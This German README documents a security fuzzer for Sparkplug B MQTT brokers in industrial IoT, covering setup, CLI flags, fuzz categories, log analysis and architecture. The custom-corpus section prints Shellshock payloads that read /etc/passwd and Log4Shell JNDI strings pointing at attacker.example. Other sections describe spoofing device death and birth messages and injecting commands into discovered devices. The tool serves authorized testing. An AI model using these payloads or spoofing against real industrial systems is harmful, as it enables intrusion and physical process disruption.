
Fuzzer for the Sparkplug B IIoT protocol
Ein umfassendes Tool zur Sicherheitsbewertung für das Testen von Sparkplug B MQTT-Protokollimplementierungen. Der Fuzzer testet systematisch alle Protokollfelder über alle 9 Nachrichtentypen hinweg, entdeckt aktive Geräte im Netzwerk und erstellt detaillierte Protokolle zur Analyse.
Dieses Tool sendet fehlerhafte, Injection- und protokollverletzende MQTT-Nachrichten an einen Ziel-Broker. Führen Sie es nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Sparkplug B-Broker befinden sich häufig in OT/ICS-Umgebungen, in denen unerwartete Nutzdaten physische Prozesse stören können – gehen Sie davon aus, dass jedes Ziel in Produktionsnähe ist, sofern nicht anders nachgewiesen.
Wenn Sie mit diesem Tool eine Sicherheitslücke in einer Sparkplug B-Implementierung entdecken, befolgen Sie bitte die koordinierte Offenlegung mit dem betroffenen Anbieter. Um ein Sicherheitsproblem in diesem Tool selbst zu melden, siehe SECURITY.md.
Die Sparkplug B-Spezifikation definiert einen Themen-Namespace und ein Nutzlastformat, das auf MQTT und Google Protocol Buffers für industrielle IoT-Umgebungen (IIoT) basiert. Dieser Fuzzer bewertet die Sicherheit und Robustheit von Sparkplug B-Implementierungen, indem er:
Auf modernen Debian/Ubuntu/Kali-Systemen (PEP-668) kann --setup nicht per pip install in das systemweite Python installieren – verwenden Sie stattdessen eine virtuelle Umgebung oder pipx. Der empfohlene Weg:```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
Oder führen Sie es mit `pipx run` aus, wenn Sie die Verwaltung der virtuellen Umgebung nicht selbst übernehmen möchten. Auf älteren Systemen ohne PEP-668-Erzwingung funktioniert `python3 sparkplug-fuzzer.py --setup` direkt.
`--setup` wird:
1. Pip-Abhängigkeiten installieren (`paho-mqtt`, `protobuf`)
2. Einen festgelegten Tag des [Eclipse Tahu](https://github.com/eclipse/tahu)-Repository klonen (siehe `TAHU_REF` im Skript)
3. Die Hilfsmodule `sparkplug_b.py` und `array_packer.py` kopieren
4. `sparkplug_b.proto` in Python-Bindungen kompilieren (verwendet `protoc` falls verfügbar, fällt auf `grpcio-tools` zurück)
5. Den Tahu-Klon bereinigen
Nach der Einrichtung sollte Ihr Verzeichnis Folgendes enthalten:```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
Dies wird:
1. Eine Verbindung zum Broker unter `localhost:1883` herstellen
2. 10 Sekunden lang zuhören, um vorhandene Sparkplug-Geräte zu erkennen
3. Den Fuzzer als Sparkplug-Knoten/Gerät einrichten
4. Alle 12 Fuzz-Kategorien (~635+ Testfälle) ausführen
5. Erkannte Geräte mit gefälschten Nachrichten angreifen
6. Ergebnisse in `sparkplug_fuzz.jsonl` schreiben
## Nutzung
### Kommandozeilenoptionen```
python3 sparkplug-fuzzer.py [OPTIONS]
Alle Kategorien mit Authentifizierung ausführen:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**Übergeben Sie Anmeldedaten, ohne sie in `ps` offenzulegen:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
Verbinden über TLS:```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**Passive Authentifizierungsbewertung + aktive Schreibsonde:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
Nur injectionsbezogene Kategorien ausführen:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**Erweiterte Erkennung mit langsamer Taktung (Broker-Last minimieren):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
Benutzerdefinierte Gruppen-/Knotenidentität und Protokolldatei:```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**Broker-Traffic in einem separaten Terminal überwachen:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
Abgeschottetes Setup mit einem vorab geklonten Tahu-Repo:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**Ausgabelayout pro Durchlauf:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
Die integrierte STRING_FUZZ_VALUES deckt die klassischen Injektionskategorien ab (leere / riesige Zeichenketten, Nullbytes, Formatstrings, XSS, SQLi, Pfad-Traversal, Prototyp-Verschmutzung). Echte Einsätze benötigen oft Second-Order-Payloads, die auf das abzielen, was die Broker-Daten nachgelagert verarbeitet – Historiker, die Metriknamen durch die Shell leiten, Java-basierte SCADA-Hosts, die Werte in log4j einspeisen, Dashboards, die Tag-Namen in HTML rendern, usw.
Das Flag --extra-string-payloads <FILE> fügt den integrierten ein zusätzliches Korpus hinzu. Format: ein Payload pro Zeile, UTF-8. Zeilen, die nur aus Leerzeichen bestehen, werden beibehalten (oft beabsichtigt beim Fuzzing); vollständig leere Zeilen werden entfernt. Das Flag fügt zur integrierten Liste hinzu, anstatt sie zu ersetzen, sodass die bestehende Abdeckung erhalten bleibt.```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF
python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v
Der Fuzzer gibt `[+] Extra string payloads: loaded N from <path>` beim Start aus, und jeder Payload wird an jeder Stelle ausgegeben, die `STRING_FUZZ_VALUES` durchläuft – hauptsächlich die Kategorie `string`, aber auch die String-typisierten Fälle des Typ-Mismatch-Generators.
Harte Grenzen: 10 MB Dateigröße, 10.000 Payloads. Passen Sie `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` am Anfang des Skripts an, wenn Sie mehr benötigen (und das entsprechende Laufzeitbudget haben).
## v0.2 Versionshinweise
- `--output-dir`-Flag plus automatisch erstellter Standard `./sparkplug-runs/<UTC-ts>_<host>/` — jeder Lauf landet in einem eigenen Verzeichnis, sodass Artefakte nicht zwischen Läufen kollidieren.
- `--tahu-path`-Flag für `--setup` — zeigt auf ein lokales Klon von `eclipse/tahu` für luftdichte Testumgebungen, in denen ausgehende `git clone` blockiert ist. Die lokale Quelle wird bei der Bereinigung nie gelöscht.
- Zeitstempel in Konsole + JSONL werden auf UTC mit explizitem `Z`-Suffix erzwungen, sodass die Kreuzkorrelation mit Broker-Logs ohne Zeitzonenarithmetik auskommt.
- Der `paho.mqtt`-Logger wird standardmäßig auf WARNING gedrosselt; sichtbar auf INFO unter `-v`, DEBUG unter `-vv`. Die Client-Telemetrie pro Paket übertönt nicht mehr das Fuzz-Signal.
- pytest-Test-Harness unter `tests/` — 23 Tests, die FuzzLogger, Topic-Helper, Ausgabepfadauflösung und `--tahu-path`-Validierung abdecken. Siehe [Tests ausführen](#running-the-tests).
## Tests ausführen
Die Test-Harness deckt die netzwerkunabhängige Oberfläche ab (Logger-Korrektheit, Topic-Builder, Ausgabepfadauflösung, `--tahu-path`-Parsing) und läuft ohne installierten Broker, paho-mqtt oder protobuf.```bash
pip install -r requirements-dev.txt
pytest tests/
Expected: 23 passed. Netzwerkabhängige Pfade (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle) werden bewusst auf eine zukünftige Integrationstest-Schicht mit einem containerisierten Broker verschoben.
### Netzwerkerkennung
Während der Erkennungsphase abonniert der Fuzzer `spBv1.0/#` und hört auf den gesamten Sparkplug-Verkehr. Die Komponente `DeviceTracker` analysiert beobachtete Nachrichten, um eine Live-Netzwerkkarte zu erstellen:
- **NBIRTH**-Nachrichten zeigen Edge-Knoten und deren Metrikdefinitionen (Name, Alias, Datentyp)
- **DBIRTH**-Nachrichten zeigen Geräte und deren Metrikschemata
- **NDEATH/DDEATH**-Nachrichten verfolgen den Lebenszyklusstatus von Knoten/Geräten
- **STATE**-Nachrichten zeigen Host-Anwendungen und deren Online/Offline-Status
Diese Karte wird in der gezielten Fuzzing-Phase verwendet, um kontextrelevante Angriffe gegen reale Geräte mit ihren tatsächlichen Metrikschemata zu senden.
### Authentifizierungsbewertung
Wenn der Fuzzer ohne `-u/-P` eine Verbindung herstellt (und `MQTT_USERNAME`/`MQTT_PASSWORD` nicht gesetzt sind), leitet er allein aus der passiven Erkennung eine Broker-Authentifizierungsposition ab. Dies erzeugt ein einzelnes `AUTH_ASSESSMENT`-Ereignis im Log und eine gedruckte Zusammenfassung:
| Signal | Bedeutung | Wie es abgeleitet wird |
|---|---|---|
| `anon_connect_accepted` | Broker akzeptierte CONNECT ohne Anmeldedaten | Der eigene CONNECT des Fuzzers war erfolgreich |
| `anon_subscribe_accepted` | Broker leitet `spBv1.0/#` / `STATE/#` an anonyme Clients weiter | Mindestens eine RX-Nachricht traf während des Hörfensters ein |
| `anon_publish_accepted` | Broker akzeptiert PUBLISH von anonymen Clients | Nur gesetzt, wenn `--probe-anon-write` übergeben wird; QoS=1-Probe + PUBACK-Wartezeit |
| `unauth_endpoints` | Knoten / Geräte / Host-Anwendungen ohne Authentifizierung beobachtbar | Jede Entität in der entdeckten Netzwerkkarte (Authentifizierung wurde nie erzeugt) |
Die QoS=1-Probe ist optional, da sie von passiv zu aktiv wechselt. Bei QoS=0 verwirft der Broker stillschweigend Nachrichten, die er ablehnen würde, daher erfordert die Bestätigung der Schreibakzeptanz das Lesen eines PUBACK.
MQTT/Sparkplug haben keine Authentifizierung pro Endpunkt – Authentifizierung ist eine Angelegenheit auf Broker-Ebene. Daher wird "Endpunkte ohne Authentifizierung beobachtbar" als Liste von *Zielen, die ohne Kosten erreichbar sind* gemeldet, nicht als Eigenschaft der Endpunkte selbst.
### Gezieltes Fuzzing
Nach systematischem Fuzzing zielt das Tool auf jedes entdeckte Gerät mit:
1. **Gefälschte Todesmeldungen** — veröffentlicht NDEATH/DDEATH, um Abonnenten vorzutäuschen, dass Geräte offline gegangen sind
2. **Gefälschte Geburtszertifikate** — veröffentlicht NBIRTH/DBIRTH, um entdeckte Knoten/Geräte zu imitieren
3. **Befehlseinschleusung** — sendet NCMD/DCMD-Nachrichten mit Grenzwerten für jede bekannte Metrik und testet, ob das Ziel eingehende Befehle validiert
4. **Rebirth-Befehle** — sendet `Node Control/Rebirth` NCMD, um Geräte zur erneuten Veröffentlichung ihrer Geburten zu veranlassen
## Ausgabe und Log-Analyse
### Log-Format
Die Logdatei verwendet das JSON-Lines-Format (`.jsonl`) — ein JSON-Objekt pro Zeile, geeignet für die Analyse mit `jq`, Python oder jedem JSON-fähigen Tool.
Nutzlasten größer als 64 KiB werden nicht hex-inline eingefügt; stattdessen trägt `payload_hex` `sha256:<digest>+len=<n>`, sodass das Log bei sehr großen Fuzz-Fällen begrenzt bleibt. `payload_len` ist immer vorhanden.
**TX-Datensatz** (ausgehende Fuzz-Nachricht):```json
{
"ts": "2026-04-10T15:30:00.123456Z",
"dir": "TX",
"case_id": "BOUNDARY-0042",
"category": "boundary",
"topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
"payload_hex": "0800120a0a06...",
"payload_len": 28,
"payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
"description": "Boundary Int32 = 2147483647 (int_value)"
}
RX record (eingehende Nachricht vom Netzwerk):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }
**Ereignisaufzeichnung** (Systemereignis):```json
{
"ts": "2026-04-10T15:29:50.000000Z",
"dir": "EVENT",
"event": "DISCOVERY_COMPLETE",
"details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}
Fälle nach Kategorie zählen:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn
**Alle Fälle von String-Injection extrahieren:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl
Liste aller entdeckten Geräte:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl
**Finde Fälle, die Broker-Trennungen ausgelöst haben:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
Das Authentifizierungs-Assessment durchführen:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl
**Liste der Endpunkte, die ohne Authentifizierung erreichbar sind:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
TX-Anzahl im Zeitverlauf abrufen (für die Ratenanalyse):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c
**Alle Themen exportieren, die veröffentlicht wurden an:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
Analysieren mit Python:```python import json
with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]
tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]
print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")
errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")
## Protokollabdeckung
### Nachrichtentypen
Alle 9 Sparkplug B-Nachrichtentypen werden getestet:
| Nachrichtentyp | Topic-Muster | Beschreibung | Fuzzer-Nutzung |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Geburtszertifikat für Knoten | Stellt Fuzzer-Präsenz her; wird für entdeckte Knoten gefälscht; Reihenfolgetests |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Todesbenachrichtigung für Knoten | MQTT-Letzter Wille; wird für entdeckte Knoten gefälscht; Reihenfolgetests |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Geburtszertifikat für Gerät | Stellt Fuzzer-Gerät her; wird für entdeckte Geräte gefälscht; Reihenfolgetests |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Todesbenachrichtigung für Gerät | Wird für entdeckte Geräte gefälscht; Reihenfolgetests; Waisentests |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | Datenaktualisierung für Knoten | Grenzwerte; Sequenznummern; Reihenfolgetests |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Datenaktualisierung für Gerät | Primäres Fahrzeug für die meisten Fuzz-Kategorien |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | Knotenbefehl | Gezieltes Fuzzing (Neugeburt-Befehle); Waisentests |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Gerätebefehl | Gezieltes Fuzzing gegen entdeckte Gerätemetriken; Waisentests |
| STATE | `STATE/{host_id}` | Host-Anwendungsstatus (JSON) | Fehlerhafte JSON-Injektion |
### Datentypen
Alle 19 Sparkplug B-Metrikdatentypen werden mit typspezifischen Grenzwerten getestet:
| Code | Typ | Protobuf-Feld | Getestete Grenzwerte |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (Überlauf), -129 (Unterlauf) |
| 2 | Int16 | int_value | 0, -32768, 32767, Überlauf/Unterlauf |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, Überlauf/Unterlauf |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, Überlauf |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False; auch mit rohen Integer-Werten getestet (0, 1, 2, 255) |
| 12 | String | string_value | Leer, lang (bis zu 64 KB), Injection-Payloads |
| 13 | DateTime | long_value | Epoche, max, weit in Zukunft/Vergangenheit |
| 14 | Text | string_value | Gleiche Injection-Payloads wie String |
| 15 | UUID | string_value | Leer, gültig, ungültiges Format, Injektionen |
| 16 | DataSet | dataset_value | Strukturverletzungen über DataSet-Kategorie |
| 17 | Bytes | bytes_value | Leer, Nullbytes, zufällig, groß |
| 18 | File | bytes_value | Leer, Magic Bytes, groß |
| 19 | Template | template_value | Undefinierte Referenzen, verwaiste Vorlagen |
### Feldabdeckung
Der Fuzzer deckt 87+ eindeutige Protobuf-Feldpfade ab, einschließlich:
- **Payload-Stammfelder**: timestamp, seq, uuid, body, metrics
- **Metrikfelder**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties, und alle value oneof-Varianten
- **MetaData-Felder**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, rekursives propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, alle DataSetValue-Varianten
- **Template**: version, template_ref, is_definition, verschachtelte Metriken, Parameter
## Architektur
Der Fuzzer ist eine einzelne Python-Datei, die in folgende Komponenten organisiert ist:```
sparkplug-fuzzer.py
|
+-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
| Type definitions and fuzz value tables
|
+-- FuzzLogger
| JSON-lines file logging + console output
| Protobuf payload decoding
|
+-- DeviceTracker
| Passive network discovery
| Tracks groups, nodes, devices, metrics
|
+-- PayloadBuilder
| Valid payload construction (sparkplug_b helpers)
| Raw payload construction (sparkplug_b_pb2 direct)
| Binary corruption (truncate, flip, append)
|
+-- 12 Fuzz Generators
| Each is a Python generator yielding (topic, bytes, desc)
| Covers boundary, string, type, seq, timestamp, alias,
| orphan, ordering, recursive, dataset, malformed, topic
|
+-- SparkplugFuzzer
| Orchestration: connect, discover, fuzz, target, report
| Centralized publish with logging
| Auto-reconnect on disconnect
|
+-- CLI (argparse) + main()
Argument parsing and entry point
Die zweistufige Payload-Konstruktion ist eine zentrale Designentscheidung:
PayloadBuilder.node_birth(), etc.) verwendet sparkplug_b Hilfsfunktionen, um gültige, wohlgeformte Payloads zu erstellen. Wird verwendet, um Präsenz zu etablieren und gezieltes Spoofing durchzuführen.PayloadBuilder.raw_payload(), corrupt_bytes()) manipuliert direkt sparkplug_b_pb2 Protobuf-Objekte oder Rohbytes, unter Umgehung der Validierung. Wird für absichtlich fehlerhafte Payloads verwendet, die die Fehlerbehandlung und Randfälle des Parsers testen.This project is licensed under the MIT License — see LICENSE for the full text.
sparkplug-fuzzer.py --setup lädt die folgenden Komponenten von Eclipse Tahu zur Installationszeit herunter und kopiert sie in das Arbeitsverzeichnis:
sparkplug_b.py — Sparkplug B Hilfsmodularray_packer.py — Hilfsprogramm zum Packen von Arrayssparkplug_b.proto — Protocol Buffer-Definition (wird verwendet, um sparkplug_b_pb2.py zu generieren)Eclipse Tahu wird unter der Apache License, Version 2.0 vertrieben. Keine der Tahu-Quelldateien werden in diesem Repository weiterverteilt. Siehe NOTICE für die vollständige Quellenangabe.
| Option | Standard | Beschreibung |
|---|
-H, --host | localhost | Hostname oder IP des MQTT-Brokers |
-p, --port | 1883 (oder 8883 mit --tls) | Port des MQTT-Brokers |
-u, --username | Keiner | MQTT-Benutzername (liest auch Umgebungsvariable MQTT_USERNAME) |
-P, --password | Keiner | MQTT-Passwort (liest auch MQTT_PASSWORD; - übergibt, um von stdin ohne Echo zu lesen) |
--tls | aus | Verbindung über TLS; Standard-Port wird 8883, wenn -p nicht gesetzt |
--cafile | Keiner | CA-Bundle für TLS-Serverzertifikatsprüfung |
--insecure | aus | TLS-Hostname-/Zertifikatsprüfung überspringen (nur Testzwecke) |
-g, --group | Sparkplug B Devices | Sparkplug-Gruppen-ID, unter der sich der Fuzzer registriert |
-n, --node | FuzzNode | Sparkplug-Edge-Node-ID für den Fuzzer |
-d, --device | FuzzDevice | Sparkplug-Geräte-ID für den Fuzzer |
-c, --categories | all | Leerzeichen-getrennte Liste der auszuführenden Fuzz-Kategorien |
--discovery-time | 10 | Sekunden, um passiv auf Netzwerkerkennung zu lauschen |
--delay | 0.1 | Verzögerung in Sekunden zwischen Fuzz-Nachrichten |
--probe-anon-write | aus | Während der Erkennung ein QoS=1-Publish senden, um zu bestätigen, ob der Broker unauthentifiziertes PUBLISH akzeptiert |
-l, --log | sparkplug_fuzz.jsonl | Name der Ausgabeprotokolldatei (relative Pfade landen in --output-dir; absolute Pfade werden unverändert übernommen) |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | Ausgabeverzeichnis pro Durchlauf. Wird erstellt, falls nicht vorhanden. |
-v, --verbose | 0 | Konsolen-Ausführlichkeit erhöhen (-v = info, -vv = debug). -vv zeigt auch Fuzz-Generator-Überspringungen an, und der gedrosselte paho.mqtt-Logger wird je nach Ausführlichkeit auf INFO/DEBUG gesetzt. |
--setup | — | Alle Abhängigkeiten installieren und beenden |
--tahu-path | — | Pfad zu einem lokalen Klon von eclipse/tahu (oder dem python/core-Verzeichnis). Wird von --setup in abgeschotteten Umgebungen anstelle von git clone verwendet. |
--extra-string-payloads | — | Pfad zu einer Datei mit zusätzlichen String-Injection-Payloads (eine pro Zeile, UTF-8). Wird an die integrierten STRING_FUZZ_VALUES angehängt; ersetzt diese nicht. Maximal 10 MB / 10.000 Payloads. Siehe Benutzerdefinierte String-Korpora. |
| Kategorie | Beschreibung | Ca. Fälle |
|---|
boundary | Min/Max/Überlauf für alle 19 numerischen Datentypen, is_null mit Werten, Flag-Kombinationen | ~200 |
string | Injection-Payloads (XSS, SQLi, Format-Strings, Path Traversal, Command Injection, Null-Bytes) in String-, Text-, UUID-, MetaData-Feldern und STATE-Nachrichten | ~100 |
type_mismatch | Deklarierter Datentyp vs. falsches Protobuf-Wertfeld, ungültige Datentypecodes, mehrere Oneof-Felder | ~150 |
sequence | Sequenzlücken, Duplikate, Rückwärtssequenzen, Überlauf, bdSeq-Konflikte zwischen NBIRTH/NDEATH | ~20 |
timestamp | Null, max uint64, weit in Zukunft/Vergangenheit, Inkonsistenz zwischen Metrik- und Payload-Zeitstempel, DateTime-Extremwerte | ~15 |
alias | Doppelte Aliase für verschiedene Metriken, extreme Alias-Werte, undefinierte Aliase in Datennachrichten | ~15 |
orphan | Daten/Befehle, die auf nicht existierende Geräte, Nodes, Gruppen verweisen; undefinierte Template-Referenzen | ~20 |
ordering | Protokollzustandsverletzungen: Daten vor Geburt, doppelte Geburten, Daten nach Tod, falsche Geburtenreihenfolge | ~15 |
recursive | Verschachtelte PropertySet-Ketten (Tiefe 1–100), Längenkonflikte bei Key/Value, PropertySetList-Varianten | ~15 |
dataset | Spaltenanzahl-Konflikte, Zeilenelement-Konflikte, Typverletzungen, leere/riesige Datasets, Sonderzeichen in Spaltennamen | ~25 |
malformed | Binäre Protobuf-Korruption: Trunkierung, Bitflips, zufällige Bytes, überlange Varints, falsche Nachrichtenklassen | ~30 |
topic | Groß-/Kleinschreibungsvarianten, falsche Versionen, zusätzliche/fehlende Schrägstriche, Sonderzeichen, Wildcards in Topic-Strings | ~30 |